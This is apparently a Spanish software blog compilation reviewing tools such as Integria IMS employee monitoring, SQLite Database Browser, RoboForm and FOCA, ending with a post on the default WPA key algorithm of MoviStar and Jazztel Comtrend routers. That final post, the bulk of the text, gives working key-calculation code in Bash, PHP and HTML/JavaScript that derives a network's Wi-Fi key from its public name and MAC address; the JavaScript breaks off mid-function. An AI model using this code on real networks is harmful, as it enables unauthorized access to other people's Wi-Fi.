Esta herramienta está enfocada a la monitorización y control de las actividades que los empleados de una empresa realizan desde su equipo corporativo y dentro de su jornada laboral. Sin embargo también es posible su uso en otros casos fuera de este ámbito tan específico.

El sueño deseado de cualquier jefe. Disponer de una herramienta que permita contabilizar los tiempos de actividad que el usuario dedica a cada aplicación con la que trabaja, no computando los tiempos donde la aplicación se encuentra en segundo plano (Esto es, abrir Word, dejarlo abierto, y a continuación abrir Messenger y ponerse a chatear).

La arquitectura de comunicación y almacenamiento de información de esta aplicación está basada en una estructura de ‘cliente / servidor’. El equipo cliente, en el cual se ha instalado la aplicación ‘agente’ de ‘Integria IMS’, se encarga de realizar la recolección de información que posteriormente es enviada y procesada por el servidor, desde el cual se puede acceder a dicha información a través de una cómoda interfaz web, tal y como se presenta en la siguiente imagen.

Por otro lado, la herramienta realiza un seguimiento de las conexiones que realizan las aplicaciones que se utilizan por los usuarios, por lo que es posible analizar a qué hora y desde qué aplicación se realizó la descarga o el acceso a un documento que estuviera disponible en la red.

Como trabajador que soy, realmente no tengo claro si me interesa que me implementen esta herramienta en mi empresa

» Licencia | Freeware / Gratis
» Sistema Operativo | Linux / Windows
» Otros | Maquina virtual VmWare para pruebas y practicas
» Sitio Oficial | Integria IMS
» Video Tutorial | Integria IMS (Vídeo Demostrativo)
» Fuente de referencia | SecurityByDefault

Compartelo:

[?]

Integria IMS – Averigua el rendimiento del personal de tu organización es un post de: ¡De todo un poco!

xSpeechKit es una interesante extensión para Google Chrome que se vale de la nueva funcionalidad de reconocimiento de voz de Google Chrome para aumentar la potencialidad del mismo. Y qué mejor manera de hacerlo que usando el mismo buscador de Google para lograr este objetivo. Así tenemos una extensión que se constituye en una herramienta de mucha utilidad para personas que sufran algún tipo de discapacidad. Y para las ques no, tambien.

xSpeechKit es una extensión gratuita y tras su instalación nos muestra un icono en el campo de búsqueda de Google donde normalmente ingresamos el texto a buscar. Este icono tiene la forma de micrófono, solo bastará hacerle clic para que comience el proceso de reconocimiento de lo que estamos hablando, luego de que hagamos una pausa prolongada, la extensión genera el texto y empieza a realiza la búsqueda.

» Licencia | Freeware / Gratis
» Sistema Operativo | Windows
» Enlace de descarga | xSpeechKit
» Fuente de referencia | TecnologiaDiaria

Compartelo:

[?]

[Chrome] xSpeechKit: Controla el buscador Google con la voz es un post de: ¡De todo un poco!

SQLite Database Browser es una herramienta de código abierto, gratuita, que te permitirá crear, diseñar y editar archivos de base de datos compatibles con SQLite.

Ha sido diseñada para ser usada tanto por usuarios domésticos como por desarrolladores que quieran crear bases de datos, editar y buscar datos utilizando una interfaz familiar al estilo de las hojas de cálculo de excel, sin la necesidad de aprender complicados comandos SQL.

Principales características y opciones:

• Crear y compactar archivos de bases de datos
• Crear, definir, modificar y eliminar tablas
• Crear, definir y eliminar índices
• Ver, editar, agregar y eliminar registros
• Buscar registros
• Importar y exportar registros en forma de texto
• Importar y exportar tablas desde/a archivos CSV
• Importar y exportar base de datos desde/a archivos de copias de seguridad SQL
• Realizar consultas SQL y revisar los resultados
• Examine el registro de todos los comandos SQL emitidas por la aplicación

Este programa no es un intérprete visual del shell de comandos de sqlite. No son necesarios conocimientos previos con los comandos SQL. Es una herramienta sencilla para ser utilizada tanto por los desarrolladores y los usuarios finales, y por esto debe seguir siendo tan fácil de usar como sea posible a fin de lograr sus objetivos.

Este programa fue desarrollado originalmente por Mauricio Piacentini de Tabuleiro Producoes, bajo el nombre Arca Database Browser. El código original fue recortado y ajustado para que sea compatible con el estándar de bases de datos SQLite 2.x.

El programa resultante pasó a llamarse SQLite Database Browser, y fue publicado en el SourceForge por el autor original. Los iconos fueron aportados por Raquel Ravanini y Tabuleiro. Jens Miltner ha contribuido con el código para apoyar las bases de datos SQLite 3.x apartir de la versión 1.2.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 7.3MB – 17.1MB
» Sitio Oficial | SQLite Database Browser
» Enlace de descarga | SQLite Database Browser

Compartelo:

[?]

Free SQLite Database Browser – Crea y gestiona bases de datos es un post de: ¡De todo un poco!

RoboForm es un programa que te ayuda en la tarea de rellenar formularios y recordar contraseñas. RoboForm es el aliado perfecto para rellenar los múltiples formularios que encontramos en Internet. Con un sencillo click RoboForm rellena el formulario con los datos que previamente le hemos suministrado.

RoboForm es capaz de memorizar tus contraseñas y acceder automáticamente a las web que piden contraseña sin tener que teclear el nombre de usuario y la contraseña. Las contraseñas almacenadas por RoboForm están encriptadas por lo que la seguridad es máxima. RoboForm es uno de esos programas que facilita la vida de la persona que lo usa y que una vez que lo pruebas no puedes dejar de usarlo.

RoboForm es el Administrador de Contraseñas y Cumplimentador de Formularios Web mejor valorado, que automatiza completamente la introducción de contraseñas y el rellenado de formularios.
RoboForm ha sido nombrado Editor’s Choice (Elección del Editor) en PC Magazine, y Programa del año de CNET Download.com.

Características RoboForm:

• Memoriza sus contraseñas y le conecta automáticamente.
• Rellena extensos formularios de registro y casillas de verificación con un solo clic.
• Encripta sus contraseñas para obtener una seguridad completa.
• Genera contraseñas aleatorias que los intrusos no pueden adivinar.
• Combate el Phishing rellenando contraseñas sólo en los sitios web que coinciden.
• Keylogger evita el uso del teclado para escribir contraseñas.
• Salvaguarda sus contraseñas, las copia entre ordenadores.
• Sincroniza contraseñas entre ordenadores usando GoodSync.
• Busca palabras en sus Contraseñas, Notas e Internet.
• Portátil: RoboForm2Go se ejecuta desde un disco USB, sin necesidad de instalación.
• AutoGuardar contraseñas del navegador.
• AutoRellena contraseñas en formularios de conexión.
• Pulsa por usted el botón Conectar.
• Rellena información personal en formularios en línea.
• Guarda contraseñas externas y notas.
• Genera Contraseñas Aleatorias Seguras.
• Encripta contraseñas y datos personales usando los algoritmos AES, Blowfish, RC6, 3-DES o 1-DES.
• Toda la información personal se almacena sólo en su ordenador.
• Lleve RoboForm con usted en un disco USB para máxima portabilidad.
• Salvaguarda & Restaura, Imprime sus contraseñas.
• Se comporta bien: SIN ANUNCIOS, SIN ESPIA.
• PDA: sincroniza sus contraseñas con Pocket PC y Palm.
• Navegadores: funciona con Internet Explorer, AOL/MSN, Firefox.
• IE 8, IE 7, IE 6, Firefox 3.5, Vista, and Windows 7 ahora son soportados.

» Licencia | Freeware / Gratis / Otros
» Sistema Operativo | iPhone / Android / PPC / WinCE / Linux / MacOS / Windows
» Sitio Oficial | Roboform
» Sitio Oficial | Presentación Roboform Desktop
» Sitio Oficial | Presentación Roboform2Go Portable
» Enlace de descarga | RoboForm Enterprise Desktop Free
» Enlace de descarga | RoboForm2Go Enterprise Portable Free
» Sitio Oficial | Comprar la version PRO

Compartelo:

[?]

RoboForm Enterprise (Desktop y Portable) Free es un post de: ¡De todo un poco!

Cuando escribes un documento o cuando tomas una foto con una cámara en el fichero resultante se guarda la información realizada y también una serie de metadatos como pueden ser nombre del propietario documento, impresora, nombre de la cámara o coordenadas GPS de donde fue tomada la foto, etc.

Para los que aun no la conoce, FOCA (Fingerprinting Organizations with Collected Archives) es una herramienta que sirve para extraer y analizar metadatos. Es una herramienta bastante conocida y utilizada en las altas esferas del hacking, ya que fue presentada en varias conferencias internacionales como BlackHat EU 2009 y Defcon 17.

Soporta los siguientes tipos de documentos:

1. Microsoft Office de la versión 97 a la 2007
2. OpenOffice
3. Portable Document Format (pdf)
4. Corel Word Perfect document (wpd)
5. Joint Photographic Experts Group (jpg)

Extensiones soportadas:

1. MS Office: doc, docx, xls, xlsx, ppt, pptx, ppsx y pps
2. Open Office: odf, ods, odt, odp, sxw, swi y sxc
3. Adobe: pdf, indd
4. Otros: jpg, wpd, svg y svgz

Para disfrutar de la FOCA en linux, pueden seguir los siguientes pasos:

1. Descomprimir el zip con todos los ejecutables y librerías que utiliza la FOCA
2. Instalar wine: # yast2 –install wine
3. Instalar componentes necesarios: Microsoft .NET Framework 2.0, gdiplus y fontfix (mejor con Winetricks)
   # winetricks dotnet20 gdiplus fontfix
4. Ejecutar la FOCA por medio de Wine
   # wine ‘FOCA Free.exe’

Si no te queda bien claro el procedimiento puedes echar un vistazo a estos dos posts: [1] + [2]

» Licencia | Freeware / Gratis
» Sistema Operativo | OnLine / Linux / MacOS / Windows
» Sitio Oficial | FOCA OnLine
» Otro Sitio | Manual de Usuario (ElLadoDelMal)
» Otro Sitio | Defcon 18: FOCA 2
» Enlace de descarga | FOCA Pro (gratuita -solo las primeras 1000 descargas)

Compartelo:

[?]

FOCA Pro (Fingerprinting Organizations with Collected Archives) es un post de: ¡De todo un poco!

Hace muy poco se ha hecho público el algoritmo que genera las contraseñas de los routers Comtrend, que ofrece MoviStar (Telefonica) y Jazztel a sus clientes para acceder a Internet. Esto significa que si eres un cliente de MoviStar o de Jazztel y al recibir tu router no has cambiado la contraseña, es casi como si no la tuvieras. En estos momentos es mas sencillo calcular esa clave WPA que sacar una clave WEP.

Este mecanismo de generación de claves, basado en el BSSID y el ESSID del router (uno es lo que se conoce como el “nombre la red, habitualmente WLAN_XXXX en routers de MoviStar y Jazztel_XXXX en routers de Jazztel) y otro la dirección MAC del router (escrita normalmente en su base). Estos dos datos son públicos cuando se usa Wi-Fi, por tanto, cualquiera puede calcular la clave.

El algoritmo combina estos dos valores, les concatena la cadena bcgbghgg al comienzo, calcula el hash MD5 y se queda con los 30 primeros caracteres. Los detalles pueden ser consultados, en diferentes lenguajes de programación que les mostraré a continuación. Como pueden ver no es necesario capturar ningún paquete.

Ejemplo en BASH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/bash                                                                     
 
echo CalcWLAN by a.s.r
 
if [ $# -ne 2 ]
then
        echo "Usage: $0 < essid > < bssid >"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi
 
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
 
echo "La puta clave es $KEY"

Ejemplo en PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

 
< ?php
// This code is under the public domain
// neikokz (at) gmail (dot) com
 
if (isset($_GET['mirror']) && $_GET['mirror'] == 1)
{
    header('Content-type: text/plain; charset=utf-8');
    die(file_get_contents(__FILE__));
}
 
function right($string, $chars)
{
   return substr($string, strlen($string) - $chars, $chars);
}
 
if (isset($_POST['essid']) && isset($_POST['bssid']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));
 
   if (strlen($bssid) != 12)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $essid = strtoupper(trim($_POST['essid']));
   $_ssid = substr($bssid, 0, 8).right($essid, 4);
 
   die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}
 
if (isset($_POST['bssid_only']))
{
   $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid_only'])));
 
   if (strlen($bssid) != 12 || hexdec($bssid) == 0)
   {
      die('Mete bien la MAC, buen hombre.');
   }
 
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 3));
   $cal[] = strtoupper(dechex(hexdec(right($bssid, 4)) - 1));
   $cal[] = right($bssid, 4);
 
   foreach ($cal as $value)
   {
     $res .= substr(md5('bcgbghgg'.substr($bssid, 0, 8).$value.$bssid), 0, 20).' o ';
   }
 
   die(substr($res, 0, strlen($res) - 4));
}
 
?>
< !DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <style type="text/css">
      #c
        { margin: 25px auto; width: 500px; font-family: 'Arial', sans-serif; color: #333; }
      #c h1
        { margin: 5px 0 10px 0; font-size: 13pt; border-bottom: 1px dotted #888; padding-bottom: 3px; }
      #c form
        { clear: both; margin: 0 0 10px 0; }
      #c p
        { font-size: 8pt; margin: 0; text-align: center; }
      #c dl
        { font-size: 9pt; }
      #c dt
        { float: left; margin-bottom: 10px; text-align: right; width: 190px; padding-top: 4px; }
      #c dd
        { margin-left: 200px; margin-bottom: 10px; }
      #c form#sin_essid
        { display: none; }
      #c input[type=text]
        { width: 300px; }
      #c input[type=submit]
        { font-weight: bold; }
      #c a
        { color: #0084b4; text-decoration: none; font-weight: bold; }
      #c a:hover
        { text-decoration: underline; }
      #c p.r
        { font-size: 10pt; padding: 5px 10px; background: #36679f; color: white; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; text-shadow: 0px 1px 2px #06374f; }
      #c span
        { font-size: 8pt; }
      #c div.b
        { font-size: 10pt; padding: 5px 10px; background: #eaf3ff; display: table; text-align: center; margin: 15px auto; border-radius: 3px; -moz-border-radius: 3px; }
      #c p.q
        { font-size: 9pt; }
      #c p.y
        { font-size: 11pt; }
      #c p.q a
        { font-weight: bold; }
      #c p.q.v
        { margin-top: 3px; font-size: 8.5pt; }
      #c p.s
        { font-size: 7pt; color: #666; }
      #c div.r
        { border-radius: 5px; -moz-border-radius: 5px; background: #eee; padding: 10px; margin-bottom: 15px; }
      #c .clearit
        { clear: both; }
      a.d img
        { margin: 0 auto; display: block; }
    </style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
    <script type="text/javascript">
      function release() {
        $('#toallizar').removeAttr('disabled');
        $('#toallizar').val('Calcular');
        $('#toallizar2').removeAttr('disabled');
        $('#toallizar2').val('Calcular');
      }
      function do_toalla(v) {
       if (!v) {
         $('#toallizar').attr('disabled', 'disabled');
         $('#toallizar').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: 'essid=' + $('#essid').val() + '&bssid=' + $('#bssid').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
       } else {
         $('#toallizar2').attr('disabled', 'disabled');
         $('#toallizar2').val('Espera...');
         $.ajax({
           type: 'POST',
           url: '< ?php echo $_SERVER["SCRIPT_NAME"]; ?>',
           data: '&bssid_only=' + $('#bssid2').val(),
           success: function(response) {
             release();
             $('#resultado').val(response);
           },
           error: function(response) {
             release();
             alert(':(');
           }});
        }
        return false;
     }
     function toggler() {
        if ($('#sin_essid').is(":visible")) {
        $('#sin_essid').hide();
        $('#con_essid').show();
        $('#toggler').html('Cambie mi ESSID');
      } else {
        $('#con_essid').hide();
        $('#sin_essid').show();
        $('#toggler').html('No cambie mi ESSID');
      }
     }
    </script>
    <title>Generador de claves</title>
  </head>
  <body>
    <div id="c">
      <h1>Generador de claves para JAZZTEL_XXXX y WLAN_XXXX</h1>
     <p><a href="#" onclick="toggler(); return false;" id="toggler">Cambie mi ESSID</a></p>
      <form onsubmit="do_toalla(0); return false;" id="con_essid">
        <dl>
         <dt>ESSID (nombre de tu red):</dt>
         <dd><input type="text" name="essid" id="essid" /></dd>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid" id="bssid" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar" /></dd>
        </dl>
      </form>
      <form onsubmit="do_toalla(1); return false;" id="sin_essid">
        <dl>
         <dt>BSSID (MAC de tu router):</dt>
         <dd><input type="text" name="bssid2" id="bssid2" /></dd>
         <dt>Aplica presion sobre este boton:</dt>
         <dd><input type="submit" value="Calcular" id="toallizar2" /></dd>
         <dt></dt>
         <dd>Se generaran tres posibles claves</dd>
        </dl>
      </form>
      <div class="clearit"></div>
        <dl>
         <dt>Resultado:</dt>
         <dd><input type="text" name="resultado" id="resultado" /></dd>
       </dl>
      <p class="s"><strong>v1.5</strong> (< ?php echo date('d/m H:i:s', filemtime(__FILE__)); ?>)</p>
    </div>
 
  </body>
</html>

Ejemplo en HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341

< !DOCTYPE HTML>
<html><head>
 
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>WPAMagicKey</title>
	<script>
		var hexcase = 0;
		var b64pad  = "";
 
 
		function hex_md5(s)    { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
		function b64_md5(s)    { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
		function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
		function hex_hmac_md5(k, d)
		  { return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function b64_hmac_md5(k, d)
		  { return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function any_hmac_md5(k, d, e)
		  { return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
 
		function md5_vm_test()
		{
		  return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
		}
 
		function rstr_md5(s)
		{
		  return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
		}
 
		function rstr_hmac_md5(key, data)
		{
		  var bkey = rstr2binl(key);
		  if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
 
		  var ipad = Array(16), opad = Array(16);
		  for(var i = 0; i < 16; i++)
		  {
			ipad[i] = bkey[i] ^ 0x36363636;
			opad[i] = bkey[i] ^ 0x5C5C5C5C;
		  }
 
		  var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
		  return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
		}
 
		function rstr2hex(input)
		{
		  try { hexcase } catch(e) { hexcase=0; }
		  var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
		  var output = "";
		  var x;
		  for(var i = 0; i < input.length; i++)
		  {
			x = input.charCodeAt(i);
			output += hex_tab.charAt((x >>> 4) & 0x0F)
				   +  hex_tab.charAt( x        & 0x0F);
		  }
		  return output;
		}
 
		function rstr2b64(input)
		{
		  try { b64pad } catch(e) { b64pad=''; }
		  var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
		  var output = "";
		  var len = input.length;
		  for(var i = 0; i < len; i += 3)
		  {
			var triplet = (input.charCodeAt(i) << 16)
						| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
						| (i + 2 < len ? input.charCodeAt(i+2)      : 0);
			for(var j = 0; j < 4; j++)
			{
			  if(i * 8 + j * 6 > input.length * 8) output += b64pad;
			  else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
			}
		  }
		  return output;
		}
 
		function rstr2any(input, encoding)
		{
		  var divisor = encoding.length;
		  var i, j, q, x, quotient;
		  var dividend = Array(Math.ceil(input.length / 2));
		  for(i = 0; i < dividend.length; i++)
		  {
			dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
		  }
 
		  var full_length = Math.ceil(input.length * 8 /
											(Math.log(encoding.length) / Math.log(2)));
		  var remainders = Array(full_length);
		  for(j = 0; j < full_length; j++)
		  {
			quotient = Array();
			x = 0;
			for(i = 0; i < dividend.length; i++)
			{
			  x = (x << 16) + dividend[i];
			  q = Math.floor(x / divisor);
			  x -= q * divisor;
			  if(quotient.length > 0 || q > 0)
				quotient[quotient.length] = q;
			}
			remainders[j] = x;
			dividend = quotient;
		  }
 
		  var output = "";
		  for(i = remainders.length - 1; i >= 0; i--)
			output += encoding.charAt(remainders[i]);
 
		  return output;
		}
 
		function str2rstr_utf8(input)
		{
		  var output = "";
		  var i = -1;
		  var x, y;
 
		  while(++i < input.length)
		  {
			x = input.charCodeAt(i);
			y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
			if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
			{
			  x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
			  i++;
			}
 
			if(x <= 0x7F)
			  output += String.fromCharCode(x);
			else if(x <= 0x7FF)
			  output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0xFFFF)
			  output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0x1FFFFF)
			  output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
											0x80 | ((x >>> 12) & 0x3F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
		  }
		  return output;
		}
 
		function str2rstr_utf16le(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode( input.charCodeAt(i)        & 0xFF,
										  (input.charCodeAt(i) >>> 8) & 0xFF);
		  return output;
		}
 
		function str2rstr_utf16be(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
										   input.charCodeAt(i)        & 0xFF);
		  return output;
		}
 
		function rstr2binl(input)
		{
		  var output = Array(input.length >> 2);
		  for(var i = 0; i < output.length; i++)
			output[i] = 0;
		  for(var i = 0; i < input.length * 8; i += 8)
			output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) < < (i%32);
		  return output;
		}
 
		function binl2rstr(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length * 32; i += 8)
			output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
		  return output;
		}
 
		function binl_md5(x, len)
		{
		  x[len >> 5] |= 0x80 < < ((len) % 32);
		  x[(((len + 64) >>> 9) < < 4) + 14] = len;
 
		  var a =  1732584193;
		  var b = -271733879;
		  var c = -1732584194;
		  var d =  271733878;
 
		  for(var i = 0; i < x.length; i += 16)
		  {
			var olda = a;
			var oldb = b;
			var oldc = c;
			var oldd = d;
 
			a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
			d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
			c = md5_ff(c, d, a, b, x[i+ 2], 17,  606105819);
			b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
			a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
			d = md5_ff(d, a, b, c, x[i+ 5], 12,  1200080426);
			c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
			b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
			a = md5_ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
			d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
			c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
			b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
			a = md5_ff(a, b, c, d, x[i+12], 7 ,  1804603682);
			d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
			c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
			b = md5_ff(b, c, d, a, x[i+15], 22,  1236535329);
 
			a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
			d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
			c = md5_gg(c, d, a, b, x[i+11], 14,  643717713);
			b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
			a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
			d = md5_gg(d, a, b, c, x[i+10], 9 ,  38016083);
			c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
			b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
			a = md5_gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
			d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
			c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
			b = md5_gg(b, c, d, a, x[i+ 8], 20,  1163531501);
			a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
			d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
			c = md5_gg(c, d, a, b, x[i+ 7], 14,  1735328473);
			b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
 
			a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
			d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
			c = md5_hh(c, d, a, b, x[i+11], 16,  1839030562);
			b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
			a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
			d = md5_hh(d, a, b, c, x[i+ 4], 11,  1272893353);
			c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
			b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
			a = md5_hh(a, b, c, d, x[i+13], 4 ,  681279174);
			d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
			c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
			b = md5_hh(b, c, d, a, x[i+ 6], 23,  76029189);
			a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
			d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
			c = md5_hh(c, d, a, b, x[i+15], 16,  530742520);
			b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
 
			a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
			d = md5_ii(d, a, b, c, x[i+ 7], 10,  1126891415);
			c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
			b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
			a = md5_ii(a, b, c, d, x[i+12], 6 ,  1700485571);
			d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
			c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
			b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
			a = md5_ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
			d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
			c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
			b = md5_ii(b, c, d, a, x[i+13], 21,  1309151649);
			a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
			d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
			c = md5_ii(c, d, a, b, x[i+ 2], 15,  718787259);
			b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
 
			a = safe_add(a, olda);
			b = safe_add(b, oldb);
			c = safe_add(c, oldc);
			d = safe_add(d, oldd);
		  }
		  return Array(a, b, c, d);
		}
 
		function md5_cmn(q, a, b, x, s, t)
		{
		  return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
		}
		function md5_ff(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
		}
		function md5_gg(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
		}
		function md5_hh(a, b, c, d, x, s, t)
		{
		  return md5_cmn(b ^ c ^ d, a, b, x, s, t);
		}
		function md5_ii(a, b, c, d, x, s, t)
		{
		  return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
		}
 
		function safe_add(x, y)
		{
		  var lsw = (x & 0xFFFF) + (y & 0xFFFF);
		  var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
		  return (msw < < 16) | (lsw & 0xFFFF);
		}
 
		function bit_rol(num, cnt)
		{
		  return (num << cnt) | (num >>> (32 - cnt));
		}
 
 
 
		function GenerarKey(){
		    var essid = document.getElementById("txtESSID").value;
			var bssid = document.getElementById("txtBSSID").value;
 
			essid = essid.replace(":","").replace("JAZZTEL_","").replace("WLAN_","").toUpperCase();
 
			while (bssid.indexOf(":")!=-1) bssid=bssid.replace(":","");
			bssid = bssid.toUpperCase();
 
			if (essid.length != 4) { document.getElementById("txtKey").value = 'ESSID incorrecto'; return; }
